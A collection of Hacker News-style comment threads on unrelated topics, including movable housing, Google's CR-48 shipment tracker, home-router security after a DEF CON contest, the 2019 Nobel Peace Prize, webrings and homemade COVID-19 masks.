Movable Housing for Scalable Cities: A Reply to YC - <AUTHOR> https://steemit.com/startup/@eliezeryudkowsky/movable-housing-for-scalable-cities <comment><USER2> > Movable houses (...)

Sounds intriguing, if skeptical about cost, material strength, coordination, labor costs, longevity, etc.

> All-robotic car fleets are an obvious first step.

This is a truly big ask.

The rest of the essay makes a point similar to homesteading, where you pick an arbitrary lot you like and move your movable house to it. It has a section about land value taxes that offers a total non-solution to the supply-and- demand problem of land.

There are some good, insightful observations, and some wishful thinking; the essay even ends with the admission that it's more of a "wistful sigh" and the author is "nearly certain that none of that will actually happen". But intellectually rigorous analysis or proposal this is not.

<comment><USER3> > This is a truly big ask.

From the article: _The technology for an all-robotic car fleet is probably already available... if we take all the non-robotic cars off the road._

Many of the challenges in autonomous vehicles (maybe even all the remaining ones) are related to modelling/predicting an uncertain world. Will a pedestrian jump out at me? Will a truck do a left-turn across my path? What in the world is that bicyclist doing?

Take all that out, and things get vastly easier.

<comment><USER2> Well yes, it's the same sort of argument that teachers jokingly make, saying school would be so nice without all the students.

It's been suspected for some time that a mixed environment of autonomous vehicles and human-operated everything else (including pedestrians) will be the worst of both worlds, as like you said, those algorithms will be face with un-anticipated inputs.

The problem is, while cars we can automate way (given enough time), pedestrians we can't, unless we're willing to expend even more money in re- engineering our infrastructure to segregate road traffic entirely, keeping the contact surface to as minimal as possible -- only every home, every workplace, every commercial establishment, every rest stop, and every place vehicular maintenance is done. While this goal tends to appear in 'next city' brainstorming, it's easy to see why it's a challenge.

<comment><USER3> Oh, I thought your "big ask" comment was about the technology.

Sure, you'd have to segregate away pedestrians, but there's already precedent for that with many roads (no pedestrians on the highways!), and aren't we dreaming about making new cities anyway, rather than retrofitting old ones?

"No pedestrians allowed on the lanes which are painted red, not that you'd want to cross that small spiked fence anyway. Just use the overhead walkway like everyone else."

</comment></comment></comment></comment><comment><USER4> No need for new scalable cities.

Human interactions will develop in the virtual dimension.

Virtual and Augmented Reality will keep you in touch with your friends and get you to your workplace.

You don't go to the store. The Internet of things brings the store to you.

With V/AR you will not only fully access any city around the world but a large set of virtual places and cities limited only by imagination.

There still be transportation and physical proximity like there is still paper books but that wouldn't be the place where the biggest chunk of the economy lies.

<comment><USER5> [Citation Needed]

And since someone's said this every couple years for decades, it better be a pretty solid one.

</comment></comment><comment><USER6> Two questions about the Poverty Equilibrium:

1\. Are the majority of the evil extractors (a)regional powers that impose uniform rents or are they (b)targeted extractors that specifically exploit low educated/frail-minded individuals?

2\. Does a subset of the latter group of wealth extractors (b) benefit from high mobility in any way? I don't know the full range of extraction schemes which is why I'm asking.

PS. There is a lot of overlap between a&b (see: Ferguson PD and private prisons) but the questions still stand.</comment>


Tracktor: Managing Harvest Timers the Arduino Way - <AUTHOR> http://viget.com/extend/tracktor-managing-harvest-timers-the-arduino-way

<comment><USER2> Nice hack! You could use Arduino WiFi shield to directly post data w/o using the computer, no need to switch to Raspberry Pi just for that.</comment>


CR-48 Tracker - <AUTHOR> http://addicted-gamer.com/cr48-tracker/

<comment><USER2> One interesting point here. This seems to use the UPS API so I assume they're using info from tracking information of people who already received one. But the question is Did Google ship all the CR-48s via UPS?

Where I work we send out gift baskets to select VIP donors to goose donations over the holidays and even we pay a service that determines the cheapest shipping carrier for the donors location. I'd imagine a company as big as Google would use a similar service (especially since they obviously didn't order in bulk as some are ground and some are overnight)

</comment><comment><USER3> Weird. There were 10 packages delivered to my zip code, and one of them actually lists my name on the delivery -- but it says it was delivered Friday, and signed for by me. But I wasn't even at home on Friday. So where did it go?

It would be super-sad if my Cr-48 has been delivered without signature to my door and then stolen already :-(

<comment><USER4> How did you find the name on the delivery? Is all possible information listed on the linked UPS tracking pages, or is there a way to find more?

<comment><USER3> My name (lastname only) was in the "signed by" field of the shipping info -- all the stranger, since I didn't sign for it. I suppose it's possible the package was delivered to somebody else with my last name in the same zip code, but my last name isn't very common, so I think that's really unlikely.

</comment></comment></comment><comment><USER5> I'm still not sure why they're surprising pople with packages instead of sending out a warning email.

<comment><USER6> It's generated a ton of hype and interest. I suspect that's one of the main reasons.

<comment><USER2> You could be right but if that's the case I think it's a mistake. I can get why Google would want a certain type of person to test these things but the problem with an application process is it makes the whole thing a question of worthiness.

"Are you deemed worthy of a CR-48 by Google?" (This is not an official Google quote I'm just laying out the sentiment)

And the problem with that is...some people won't be. So when you look at using the package arrivals for hype you have to realize you're rubbing it in the nose of everyone who didn't get one (and the ones who did are already happy with you so they're already hyped up).

I suppose there's a third group that wasn't interested enough to even apply but I can't imagine those people being moved by a bunch of "my CR-48 arrived" stories.

<comment><USER7> I think you're reading way to much into it. It's free. Nothing more, nothing less. People get excited at the thought of free stuff, especially something like a laptop. If someone is so emotionally unstable that they feel socially rejected because a complete stranger got picked for a beta test instead of them, they have bigger issues going on -- it's not because an application process exists.

<comment><USER2> It's not emotionally unstable to be upset with rejection it's the normal reaction (and to be honest there's probably no psychological phenomenon that's been documented more than that). Beyond that I think suggesting it's just "free stuff" shows a complete misunderstanding of what's going on here.

Google is trying to start a movement with the Chrome OS. They're trying to win people over to the thinking that you don't need a desktop. So the dynamics here are more like a political party than a giveaway. As such people are bound to get emotionally invested and their feelings of rejection are bound to be amplified if they are rejected from that movement (imagine a political party that only accepted people's support after an application process)

As I said it's a necessary step because this is a testing process and Google does need a certain profile of person to test. But that doesn't mean it isn't going to sting people if they don't get in.

<comment><USER7> I think applying that degree of psychological analysis to such a trivial situation is a bit insulting to people who actually suffer from genuine rejection. What you're saying could be said about any closed beta that Google has done for any of their products. I have yet to meet or hear about anybody emotionally scarred from those experiences. Have you?

<comment><USER2> It's not an issue of being emotionally scarred it's an issue of losing one's passion.

Again it's not the same as other closed Betas. It's a movement towards an entirely different computing model. One that not everyone accepts is valid (in fact I'd argue most don't think a completely browser based computing experience is valid at this point). So what Google needs more than anything is people who are passionate about that idea and who will strongly advocate for it.

So when people are rejected from the program I don't believe they'll cry but I do believe they'll feel less passionate about the idea as a whole.

<comment><USER8> I truly believe that most people are intelligent enough to understand that Google cannot gift an unlimited number of laptops and that randomness is the determining factor in who gets one and who doesn't. 60,000 laptops mean that 1 in 5000 Americans will get one. Is that not enough? I also don't think that there is any way you can send out a few thousand free laptops without causing hype …

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER9> Not on the list, but I hope I get one in a later shipment.

I'd love to try it out, but judging from reviews so far I'm not so sure I'll actually be able to develop on this thing.

</comment><comment> X-Istence Is it sad that my heart jumped a little when I saw that one had shipped to my where I live. Unfortunately it has already been delivered and I definitely didn't receive one!

</comment><comment><USER10> There's one going to my zipcode that just shipped. I've had a slight anticipation everytime I get home in the past few days, wondering if there is going to be a package there, and that just made it worse, but here's to hoping!

</comment><comment><USER11> I received my Cr-48 Yesterday morning, and this site shows that one Cr-48 was overnighted to my area, but two more were shipped UPS Ground. I wonder why mine was overnighted?

<comment><USER12> You probably signed up on the short form during the window during and some set number of hours after the presentation. Right?

<comment><USER11> I applied by scanning a QR code during the presentation, before they said the actual URL.

</comment></comment></comment><comment><USER13> So if I'm not on this list, is there still a chance that I'll receive one in a future shipment? (If there are even any future shipments)

<comment><USER14> Applications end on the 17th, don't be discouraged.

<comment><USER7> Applications actually end on the 21st at 11:59:59PM PST.

</comment></comment></comment><comment><USER15> Can't believe no one has posted a comment like this yet, but: How on earth does this work? Where is it pulling data from?

<comment><USER16> It's querying the UPS tracking API for reference numbers. These are assigned by the shipper (can be a description, customer name, or in this case sequential SKU blocks of 2000) so knowing the pattern would get you all of them.

I played around with the reference numbers, and it seems like Google sent out 3 batches:

AAC1XXXXXX (up to AAC1001982)

AAC2XXXXXX (up to AAC2002127)

AAC3XXXXXX (up to AAC3002115)

All of these turn up 6 pound packages sent within the past few days, with the earliest being the 9th.

</comment></comment><comment><USER17> This is US only tracker - you think that they are shipping to US citizens only

</comment><comment><USER18> None to my zip code though 8 total to Staten Island NY :(

</comment><comment><USER19> Zip code search would be so awesome right now.

<comment><USER20> The guy who made this says that's coming. He's hanging out over at slickdeals, where they figured this all out.

[http://slickdeals.net/forums/showpost.php?p=35270219&pos...](http://slickdeals.net/forums/showpost.php?p=35270219&postcount=1773)

</comment></comment><comment><USER21> How are they deciding who to send these to exactly?

<comment><USER22> Why is this being downvoted?

The question is pretty legit; the long application asks a number of questions like how much you use desktop apps (Anything from MATLAB to Citrix), and also about your preference in Google products vs anything else (gmail, calendar, docs, etc).

Is there any indication to whether they are picking people with good fits (e.g. those who basically use all the Google products already) or are they just selecting people randomly, using the data provided just for stats and context to the person's inputs?

</comment></comment><comment><USER23> i dont need a tracker to know that i will not recieve one... :/</comment>


Ask HN: Do you really like Google's Material Design? - <AUTHOR> I have been on the Android bandwagon for quite a while using it since Gingerbread. The version with the best aesthetically pleasing design for me was Kitkat. After that with the introduction of Google's Material Design with Lollipop, I was kind of unsure with their take on the layered card like design. And even the waves that appeared when you clicked a button. Did you too have the same experience? <comment><USER2> I find it funny how a company not particularly famous for being good at design (probably the other way around) tells people what to do in terms of design.

I understand where they're coming from--they have so many shitty designed apps on their play store that they probably felt the need to give guidance--but there are still many of their guidelines that are too subjective and i disagree with.

Basically they too have no idea what they're doing. One good example is their bottom navigation bar. They used to "recommend" that you shouldn't use those but use the top header, but found out that it's much more convenient for users to have the buttons at the bottom, so they changed their mind and added the bottom navigation bar. Knowing this, I just use it as a guideline but never think of it as an absolute rule. It's bad for building cross-platform apps too.

</comment><comment><USER3> IMO, Android has gotten better every year. I love material design.

As a developer (clear distinction from designer) my favorite thing about mobile development is the UI components. I can create something much more compelling with MD with much less effort.

</comment><comment><USER4> I'm not a huge fan of the micro-interaction animations to the degree they seem to be in vogue now.

Other than that, yeah, I like it in general.</comment>


ASK HN: Start-up internships - <AUTHOR>

I am planning my summer vacations and I'd very much like to do an internship at a start-up (or small company).
Do you know any good ways of finding start-ups that are willing to take interns or is it futile? <comment><USER2> Find startups you like and email them asking if they want an intern.</comment>


DEFCON Router Hacking Contest Reveals Major Vulnerabilities - <AUTHOR> https://www.eff.org/deeplinks/2014/08/def-con-router-hacking-contest-success-fun-learning-and-profit-many <comment><USER2> The problem that Dan Geer pointed out at his NSA talk [1] isn't that they have some surface level vulns, it's that they are mostly all running linux from 5 years ago and rarely get security updates. Home routers are insecure by default. The problem is that even if your home router gets hacked and bricked, you go to BestBuy or Newegg to buy a new router and they are _all_ running the same old broken OS by default - not including the questionable services and awful vendor-created software included (ie Asus cloud management software with 5x CVEs).

So he posed the question: What if all home routers get hacked and wiped in a mass attack against a country? People can't go out and buy new ones since they are just at risk and will probably just get hacked again. This puts a large amount of any countries technical infrastructure at risk.

The router manufacturers really need to step up here. And even technical users could benefit from more options on the market for secure routers, instead of just DIY OpenBSD boxes.

I'm curious if the gov will ever pressure these companies for better security, although they seem to prefer insecure-by-default.

[1] [http://geer.tinho.net/geer.nsa.26iii14.txt](http://geer.tinho.net/geer.nsa.26iii14.txt)

<comment><USER3> > home routers get hacked and wiped in a mass attack against a country

Who would want to do that, I wonder. I mean, it's not a one-click process, on that scale, diversity will be an important factor (FW and HW versions, manufacturers, OpenWRT and stuff).

It seems to me that this would require a lot of effort and the result will be questionable. What will be achieved by this?

I think if someone cares about security, they've already flashed DD-WRT by now and those who don't... well, router (in)security will not stop their systems from being overtaken.

<comment><USER2> > I think if someone cares about security, they've already flashed DD-WRT by > now and those who don't... well, router (in)security will not stop their > systems from being overtaken.

Nonsense.

a) People shouldn't have to flash their firmware to have an adequate level of security. If we're creating software we should hold some at least responsibility to provide basic security. Engineers in other fields take safety extremely seriously, why should software only provide it to a small percentage of people with technical knowledge?

b) Using up-to-date operating systems with update processes and security- conscious decision-making when packaging 3rd-party software is not a huge cost to these companies.

c) The goal of any security is to significantly increase costs and complexities of attacks. No solution will completely eliminate possibilities for attack but that doesn't negate need for security.

<comment><USER3> > _Nonsense.

a) People shouldn't have to flash their firmware to have an adequate level of security. If we're creating software we should hold some at least responsibility to provide basic security. Engineers in other fields take safety extremely seriously, why should software only provide it to a small percentage of people with technical knowledge?_

I think you are comparing fundamentally different threat levels.

Say you're designing a car. A cool, safe car in which passengers survive head- on collision with a wall at 100km/h with 100% chance. That's a nice car, but it can't save you if someone shoots you in the head with a 9mm through the windshield, unfortunately. You want that kind of protection? You go and buy special car with bulletproof glass and additional security measures.

Your router may save you against someone typing 192.168.0.1 in browser and getting full rights without password. But it won't (and probably can't) save you from someone with enough tech knowledge and determination by default.

> _b) Using up-to-date operating systems with update processes and security- > conscious decision-making when packaging 3rd-party software is not a huge > cost to these companies._

Well they won't want to spend it. People will buy them anyway like they do now.

<comment><USER4> I think the difference here is that your hypothetical gunman taking potshots at passing cars/routers (i.e. random hackers) is a lot more of a clear and present danger in the post-Snowden world than real gunmen in the real world.

In other words, that armor glass should come standard, and there's no excuse for it not to.

Microsoft learned this lesson - you either design for security up front or you design for security after the fact, _the hard way_ , breaking things as you go and annoying users.

<comment><USER3> I guess I see your point.

</comment></comment></comment></comment></comment></comment><comment><USER5> I think the widespread insecurity of home routers will not improve anytime soon.

Background: I work at a company which makes a "home router". It's not one you will find at a big box store, but internally it's not much different.

Most of these routers are built from a MIPS SoC manufactured by Broadcom, Atheros, or Marvell. Since their business is selling chips, not routers, these SoC companies need to make it easy for your LanWan Company startup to choose to use their chipset.

So these SoC companies will give you a reference hardware design. They will also give you a completely functional software package with Linux kernel, drivers for all the peripherals (Wi-Fi, ethernet, etc.), all the necessary user space utilities, a complete GCC cross-compiler toolchain binary which runs on Ubuntu, and a bad web app. You can literally unzip this package, run 'make', and end up with a functional filesystem image ready to flash onto the reference board.

So LanWan startup can start manufacturing routers with only one or two software devs who know some C and a part-time hardware engineer. Manufacturing is contracted out to China.

The vendor-supplied C code is not written by expert programmers. It's obvious when you (try to) read the source. It's also a huge and messy pile of code.

Where I work we use the vendor-supplied kernel but we wrote all the user space ourselves. All this stuff is written in C. The software devs here have more than a few years of experience writing C, but are very uneducated about how to write secure code. They don't think about it. And management does not think about it. The only thing that matters to management is that the box passes the tests.

I've been around long enough to have figured out that things are like this in most places. Whether small companies or big companies doesn't matter.

<comment><USER6> I believe this is the premise behind EFF's open router project. Provide a higher quality base router distribution that can be used by anyone, including SoC and router manufacturers.

<comment><USER5> Every SoC has a different kernel, heavily patched, with drivers specific to the SoC. The SoC vendor has an army of paid programmers developing this software for every SoC they make.

These Soc vendors have to start working on a new kernel long before the chip is released, as they need working software by the time the chip goes to market (to offer the router makers). Broadcom's business depends on this. They will not simply hope some loose-knit group of volunteers will timely produce software which will help them sell their new chips.

And it's not realistic for the open router project to do this much work. It would require cooperation from the SoC vendors, providing free and early access to their kernel driver source and complete documentation for their chips. I don't see this happening.

At best the open router project could release software for hardware which is already a year or two old.

Sorry to be such a pessimist, but the incentives to make this work are just not there for the businesses involved.

<comment><USER7> Fortunately, most of the important security bugs tends to be in userspace.

</comment></comment></comment></comment><comment><USER8> Many years ago I went hunting for CSRF attacks in SOHO routers and found it in all of them. Most of them completely ignored me when I reported it, one accused me of accessing an internal dev-only version (when it was simply in the office of a friend of my boss). Checkpoint followed through like professionals.

(To be fair, I was working at a place selling all-in-one firewalls to SMB, so many of those boxes were our competitors.)

</comment><comment><USER9> I own and am currently using an Actiontec Q1000 with a CenturyLink DSL connection.

I'm trying to work out just how exposed I am, and whether there's anything practical I can do about it.

Presumably I can: 1) buy a different device not currently known to be vulnerable 2) reflash with an alternate firmware 3) disable as many admin options as possible to reduce surface area 4) pray

Are there other alternatives for the luckless home router owner?

<comment><USER10> They gave the exploit a "1337 compromise" award, so it is almost as bad as it gets.

While you still have the Q1000, be sure that you have the remote interface disabled and use the NoScript browser plugin. Those two items will mitigate a lot of the risk.

I replaced my Actiontec Q1000 with a used Zyxel Q1000Z I got for $30. I haven't had time to assess the Q1000Z yet, but it does not have any known 0-day vulnerabilities.

<comment><USER11> Actually the parent should firewall off both sides of the router and turn off internal management, Samy has been p0wning routers from inside the network since 1989.

<comment><USER10> That is true. Those first two recommendations are good bang for your buck (for the newbies), I guess I forgot I have a technical audience here :-)

Now that I'm thinking about it transparent bridge mode might do the trick as well.

</comment></comment></comment></comment><comment><USER12> > Unfortunately, fixes have been slow to roll out. Because each of the bugs > have been disclosed to the manufacturer directly, there may not be pressure > to push an emergency patch, but manufacturers have a chance to address the > issues.

Responsible disclosure for the win. It's a good thing nobody else is looking for vulnerabilities in these routers.

<comment><USER10> I demonstrated the Actiontec Q1000 exploit on Track 0. As a security professional I am very interested in responsible disclosure, and had already reported the vulnerability to Century Link 6+ months before Defcon (slight correction to the article, the ISP is not Verizon). I first read about the SOHOplessly broken contest on HN the week before Defcon and figured I'd apply since I already had a 0-day in my back pocket.

As the article says the manufacturer has acknowledged the vulnerability, but I have not heard from them for quite a while. I've begun to wonder how much time has to pass without a fix before it would be irresponsible of me not to fully disclose the vulnerability. Lately I've been thinking that full disclosure may be the only responsible way to disclose a vulnerability. But I am still conflicted.

<comment><USER12> I understand 3 months, or 6 at the outside, to be a fair deadline. Bugs not fixed after six months are never fixed.

</comment></comment></comment><comment><USER13> Wonder why an Apple product wasn't on that target list. I'm sure it compromises a good sized population and likely valuable targets for compromise.

<comment><USER14> There's a much higher barrier to entry for security research on AirPort routers.

The only configuration method is over a custom binary protocol, so you can't just fuzz HTTP headers and input fields. The firmware downloads are encrypted, so there's no easy way to pull binaries from the device.

The only public way to do any analysis on the software requires soldering to the board.

The early models run VXWorks, the N models run NetBSD 4.3 on ARM (Express) and MIPS (Extreme), and the AC models (Extreme and Time Capsule, the weird tall ones) run a fork of NetBSD 6.0 on ARM. The AC versions actually contain a single-core binned ARM Cortex A9 from the iPhone 4S like you would find in the Apple TV.

That said, at least one group has root, firmware dumps, and is doing active research. Come hang out #theairportwiki on freenode if you're interested.

</comment></comment><comment><USER15> That feeling when the eff labels you as a newb.. :/

<comment><USER16> I am one of the authors of the blog post.

I think you are referring to the description of Track 1 and 2. Seems like you were one of the contestants. Sorry, we didn't mean to label anyone a newbie. It is just that Track 1 and 2 had goals of bringing in newbies. Of course many of the contestants were even experienced hackers. Indeed one of the winners of Track 1 was also the Track 0 winner.

I apologize if the phrasing in the blog post seemed like a put down of contestants' expertise in any of the Tracks.

</comment></comment><comment><USER17> There is nothing "responsible disclosure" about not reporting these to the people affected. Another example of why that term is terrible.</comment>


Scramjet success at Woomera - <AUTHOR> http://www.dsto.defence.gov.au/news/5118/

<comment><USER2> This is from 2007.

<comment><USER3> They made another successful launch this week, according to this article:

<http://www.abc.net.au/news/stories/2010/03/23/2853372.htm></comment></comment>


How Uber Deceives the Authorities Worldwide - <AUTHOR> https://www.nytimes.com/2017/03/03/technology/uber-greyball-program-evade-authorities.html <comment><USER2> Previous discussion:

[https://news.ycombinator.com/item?id=13785564](https://news.ycombinator.com/item?id=13785564)</comment>


The Nobel Peace Prize 2019 - <AUTHOR> https://www.nobelprize.org/prizes/peace/2019/summary/ <comment><USER2> Congratulations to PM Abiy on this exceedingly deserved award. Quite frankly, I was surprised it had not been awarded to him last year.

<comment><USER3> Nominations are submitted early in the year and he assumed the office in April 2018.

</comment></comment><comment><USER4> The Nobel Peace Prize was greatly devalued when it was given to Obama in the midst of bombing other countries.

Does anyone have an explanation of why Obama deserved to receive it?

<comment><USER5> Ang San Suu Chi, Kissinger, Yasser Arafat, and Cordell Hull raised no eyebrows then?

</comment></comment><comment><USER6> Great choice, his unexpected acceptance of the Algiers Agreement terms gave so much hope for the region. This is what the Nobel Peace Price was originally intended for.

</comment><comment><USER7> Well, this is a much less controversial choice compared to the Nobel Prize in Literature 2019.

<comment><USER8> From a global perspective, awarding two European writers yet again is just a failure.

From a purely literary perspective, Handke is a great and influential writer, who was a hot candidate for a long time. For his work, I think the award is justified.

On a personal level, his ex-wife accused him of physical abuse, he held a eulogy for a war criminal, was known for cursing and berating his audience, ...

If he still should have received it regardless depends on a difficult value judgement: do you purely choose based on a writers work, or does his personality influence the decision?

<comment><USER9> I can get behind excluding individual authors from the award for being terrible people, but I can't get behind purposely giving the award to someone that's not European if Europeans would have otherwise deserved it based solely on the merits of their writing.

There's plenty of amazing things written by non-white people. However, the Nobel prize for literature should remain a pure meritocracy as much as possible.

That's not to say that its a perfect system. If you point to any given year you can likely find examples of written works that didn't get the award but are arguably as good if not better.

If you intentionally limit the pool of potential awardees to people that are not white, you make a mockery of the award and it loses any sense of prestige or credibility, even if the non-white awardee was truly the best writer. Not only are you discriminating against certain people, you are also doing a disservice to the very people you want to help.

I think a better solution would be to try and make sure the people involved in the process aren't heavily biased towards any specific demographic of authors.

There are probably additional ways to improve the system, but I think if we want the award to mean anything they have to be focused on eliminating discrimination, rather than using it as a tool to generate an equality in outcomes.

Edit: I should note that this reflects my thoughts on prestigious awards being meritocracies, it doesn't reflect my thoughts anything else, there are lots of complicated issues such as affirmative action, university quotas, etc. That I am not making a comment about because I don't know what the optimal solution is to solving those problems.

<comment><USER10> What do you think about the critiques of our understanding of merit - specifically the idea that our cultural experiences bias our understanding and perception of excellence?

I.e. If all your examples of good writing are written by a european for other europeans, you will likely associate some cultural practices that aren't required for good writing with your understanding of "good writing." The whole idea of developing taste is, of course, that it is somewhat subjective.

I think the idea of meritocracy is one worth pursuing, but I think modern advocates for it as a thing that actually exists today should engage more energetically with the critiques of it in practice.

<comment><USER9> I agree completely with your comment.

> What do you think about the critiques of our understanding of merit - > specifically the idea that our cultural experiences bias our understanding > and perception of excellence?

I think everyone is biased and that objective thinking is a learned skill that you have to constantly re-evaluate. No one will ever be perfectly unbiased or anywhere near it. Even when you are practicing objective thinking honestly and correctly, there are undoubtedly deeply ingrained biases that you can't shake and you may not even be able to know what those biases are.

However, I think through effort we can improve and minimize the impact of bias. Furthermore, over long periods of time, if we adopt a culture of doing this, it may actually reduce bias overall in the generations to come.

The simple version is I think we are not going to be perfect, but surely we can be better than we are if we try. I think that's better than attempting to prevent bias by introducing extreme forms of bias in the opposite direction.

</comment></comment></comment></comment></comment><comment><USER11> I will see Greta in Denver Friday afternoon at a climate rally. She is young and a voice of her generation. Many future possibilities for her and repairing the climate crisis.

I respect the Nobels decision to award the prize to this peace broker. So many global issues that need attention.

<comment><USER12> If she wants to make a difference her next speech will be delivered in Beijing, not Denver. See [https://en.wikipedia.org/wiki/List_of_countries_by_carbon_di...](https://en.wikipedia.org/wiki/List_of_countries_by_carbon_dioxide_emissions) for why.

<comment><USER13> I assume you're looking at overall CO2 emissions rather than per-capita emissions.

The page you linked shows fossil CO2 emissions per capita:

China: 7.7t CO2/cap/yr

USA: 15.7t CO2/cap/yr

Denver seems like a good place to give a speech.

Of course, country size does matter, but it's unfair to simply compare total emissions when there's such a huge difference in population size.

<comment><USER14> If you're concerned with how guilty each individual consumer in a country should feel look at per capita emissions. If you're interested in stopping climate change effectively look at total emissions.

<comment><USER15> What if you're just interested in pushing a specific agenta.

<comment><USER12> It's certainly notable how she never directs her anger at China or India, but reserves it for Western countries only. She has a very white-centric view of the world.</comment></comment></comment></comment></comment></comment>


Bringing Webrings Back from the 90s - <AUTHOR> https://mxb.dev/blog/webring-kit/ <comment><USER2> Nostalgia aside, this is at least one solution to the problem of content discovery and relevance being driven entirely towards corporate interests and SEO by Google.

I'm not certain I like the premise of the design of the banner being up to ring administrators - design should be up to the site owners.

I'm also wondering if this isn't a bit overengineered. With just the index JSON file and an id indicating a site, you have most of what you need to generate "previous" and "next" links, and you could do that with vanilla javascript, without web components, without requiring cloud hosting, without a dependency tree.

I'm probably being a curmudgeon about it, I really like the idea and there's nothing _wrong_ with it as is, it just seems far more complex than it needs to be.

</comment><comment><USER3> I didn't even use webrings in the 90s. I preferred altavista.

</comment><comment><USER4> And this is why webrings didn't all the way work -- broken links!</comment>


Protecting Your Ownership of Employee-Generated Intellectual Property - <AUTHOR> http://www.masudafunai.com/Files/10254_Risk%20Management%20Update%20July_Aug%202010.pdf#page=1

<comment><USER2> Please tag this as a pdf.</comment>


Kevin Kelly: Predicting the next 5,000 days of the web - <AUTHOR> http://www.youtube.com/watch?v=yDYCf4ONh5M

<comment><AUTHOR> Kevin's blogging has always impressed me, great 20min video.</comment>


Testing the Efficacy of Homemade Masks: Protection in Influenza Pandemic? (2013) [pdf] - <AUTHOR> https://www.researchgate.net/profile/Katy-Anne_Thompson2/publication/258525804_Testing_the_Efficacy_of_Homemade_Masks_Would_They_Protect_in_an_Influenza_Pandemic/links/53fefd8f0cf21edafd154e85/Testing-the-Efficacy-of-Homemade-Masks-Would-They-Protect-in-an-Influenza-Pandemic.pdf <comment><USER2> We reviewed this and related literature in detail in a pre-print:

[https://medium.com/@matthiassamwald/promoting-simple-do- it-y...](https://medium.com/@matthiassamwald/promoting-simple-do-it-yourself- masks-an-urgent-intervention-for-covid-19-mitigation-14da4100f429)

The upshot is, masks work, and the simple ones are particularly effective for protecting other people from transmission of infectious droplets from the person wearing the mask.

</comment><comment><USER3> I'm about to craft my own mask before getting on a 16 hour flight home to Melbourne.

I realise it's fairly ineffective, but I think it will help me avoid touching my mouth and face.

I have a beard anyway, which I've heard makes masks pretty ineffective anyway.

Wish me luck! Haha

Note: I would have bought one... but you know. Everyone else decided their need for them to sit in their cupboard at home was greater.

Even my need is lower than anyone in a medical position.

<comment><USER4> Try to find some non-woven fabric like felt, those usually have smaller pore sizes. And don't forget adding a nose clip. You could also shave.

<comment><USER5> Going through all that trouble then _not_ shaving is hilarious.

<comment><USER6> Come on, the man wants to look cool at his viewing.

</comment></comment></comment></comment><comment><USER7> Related similar study: "Simple Respiratory Protection—Evaluation of the Filtration Performance of Cloth Masks and Common Fabric Materials Against 20–1000 nm Size Particles" talks about SARS and H1N1 sized threats. [https://academic.oup.com/annweh/article/54/7/789/202744?fbcl...](https://academic.oup.com/annweh/article/54/7/789/202744?fbclid=IwAR1STqBScwET_nBy2T7vnXUioLcnNGeHDyBABRK7NPf4EMW9g5r7Z3PmRVs)

</comment><comment><USER8> I keep coming back to the fact that the main point of a mask is to prevent you from touching your own nose and mouth --- NOT to keep the virus from passing directly to your nose and mouth (or vice versa). Advice from doctor who studied coronaviruses for 50 years: [https://halegenic.com/coronavirus- covid-19/](https://halegenic.com/coronavirus-covid-19/)

I do understand, however, that my point is moot when you consider direct contact with an infected person who is coughing and/or sneezing without cover (and again vice versa).

<comment><USER9> Interesting, this is the first time I hear that touching fomites is the primary vector of spreading. The CDC page says the opposite: [https://www.cdc.gov/coronavirus/2019-ncov/prepare/transmissi...](https://www.cdc.gov/coronavirus/2019-ncov/prepare/transmission.html) But I do appreciate that we still have a lot to learn about the virus, so disinfecting your hands frequently and being careful about what you touch is sound advice.

The other benefit of masks (and probably the main one of DIY masks) would be that it decreases the chance of the wearer infecting others.

<comment><USER8> Thank you for sending that. Of course looking at it from both angles couldn't hurt.

</comment></comment></comment><comment><USER10> Does anyone know the actual % effectiveness of masks (preferably including fabrics used in home-made masks)?

It would be an easier sell to people if I could just say ,"it's not 100% effective but estimates by studies show it to be about 20% effective"

I'm all for this. Can't hurt and might help.

</comment><comment><USER11> Unless the lockdown ends before covid 19 completely dies out, we should all think of what we can do to minimize the destruction.

If a mask doesn't harm the wearer, doesn't take away from the supply needed by medical and other essential personnel, and can help stop or minimize spread from asymptomatic carriers, why not wear one?

It seems that masks might harm the wearer if warn incorrectly. Well, here's some information - [https://www.info.gov.hk/info/sars/en/facemask.htm](https://www.info.gov.hk/info/sars/en/facemask.htm) \- looks like there are already lots of videos as well. (And they would need to be adequately cleaned, no question.)

Taking away from essential personnel - don't think that's applicable to cloth ones.

And i think most studies show they reduce spread of viruses. Probably not eliminate, but reduce.

So, I certainly intend to wear one - I have 2 on order. And I hope others will too. It won't solve the entire problem, but it can help.

</comment><comment><USER12> I've found the changing mask narrative to be fairly nonsensical. Variations of the following

\- they're too hard to use so only medical professionals should have them (including chastising people who had masks laying around for whatever reason)

\- they don't do anything anyways

\- they only stop you from spreading so nobody should wear them in public (even though asymptotic spreading is known to occur)

</comment><comment><USER13> Does anyone know of a way to be on a list to purchase masks in an ethical manner? I'd like to get one, but only once the needs of the medical community are adequately met.

</comment><comment><USER14> "However, these masks would provide the wearers little protection from microorganisms from others persons who are infected with respiratory diseases. As a result, we would not recommend the use of homemade face masks as a method of reducing transmission of infection from aerosols."

<comment><USER15> I hear you and understand in theory things like surgical masks allow coronaviruses to pass through them. But we've got to stop thinking about wearing masks in absolute terms of "it works" or "it doesn't work". Just like computer security, wearing a mask is one layer of protection. I don't think any reasonable person expects a mask to be foolproof. But when used in conjunction with thorough and frequent hand washing and social distancing measures, I suspect we'll find that wearing a mask is a prudent thing to do, even if it's just a home-made one out of cotton pillowcases or a surgical mask. Masks should not be relied upon in the absence of social distancing and hand washing just as airbags should not be relied upon without wearing a seatbelt.

There's anecdotal evidence from places like Taiwan and Hong Kong that masks are somewhat helpful and very little real evidence that they're harmful except in terms of making masks unavailable to frontline health workers. I firmly believe that in hindsight, public health agencies in the west will realize they did a lot of harm by saying masks were worthless.

<comment><USER16> > But we've got to stop thinking about wearing masks in absolute terms of "it > works" or "it doesn't work".

We're not saying that. We're saying masks _make you touch your face_ , and that without training and correct fitting the minimal protection they give is probably countered by the increased risk.

[https://www.nih.gov/news-events/news-releases/new- coronaviru...](https://www.nih.gov/news-events/news-releases/new-coronavirus- stable-hours-surfaces)

> If the viability of the two coronaviruses is similar, why is SARS-CoV-2 > resulting in more cases? Emerging evidence suggests that people infected > with SARS-CoV-2 might be spreading virus without recognizing, or prior to > recognizing, symptoms. This would make disease control measures that were > effective against SARS-CoV-1 less effective against its successor.

[https://www.nejm.org/doi/10.1056/NEJMc2004973](https://www.nejm.org/doi/10.1056/NEJMc2004973)

